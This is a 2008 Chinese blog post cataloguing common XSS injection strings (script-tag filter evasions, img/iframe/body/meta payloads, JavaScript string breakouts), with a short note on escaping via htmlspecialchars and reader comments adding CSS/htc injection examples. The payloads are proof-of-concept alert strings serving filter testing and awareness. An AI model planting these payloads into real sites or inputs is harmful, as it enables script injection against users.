常见的 XSS 注入攻击方式 Part.1

作者:手气不错 发布时间:October 30, 2008 分类:奇技淫巧

前端开发常见的安全问题就是会遭受 XSS 注入攻击,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body onload=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括“CSS 注入”、“其他注入方法”以及一般性解决方案,欢迎探讨和纠正。

已有 8 条回复

  1. Rage(正淳) October 31st, 2008 at 12:55 am #1
    Rage(正淳)

    无趣

  2. 手气不错 October 31st, 2008 at 01:23 am #2
    手气不错

    咳咳,生命在于折腾

  3. cnzh October 31st, 2008 at 05:08 am #3
    cnzh

    界面更新不错!!

  4. IIssNan October 31st, 2008 at 07:06 pm #4
    IIssNan

    万圣节的礼物~

  5. ware0x54 November 2nd, 2008 at 07:34 am #5
    ware0x54

    人类真变态

  6. Gracecode.com November 5th, 2008 at 05:05 am #6
    Gracecode.com

    接上一期,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。

    考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码

    <xss style="behavior: url(xss.htc);">上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。

    <div style="background-image: xss.jpg">谁会知道 x

  7. January 16th, 2009 at 01:25 am #7
    <img>

    <img>

  8. <img src=

    学习了

添加新回复

Yahoo 统计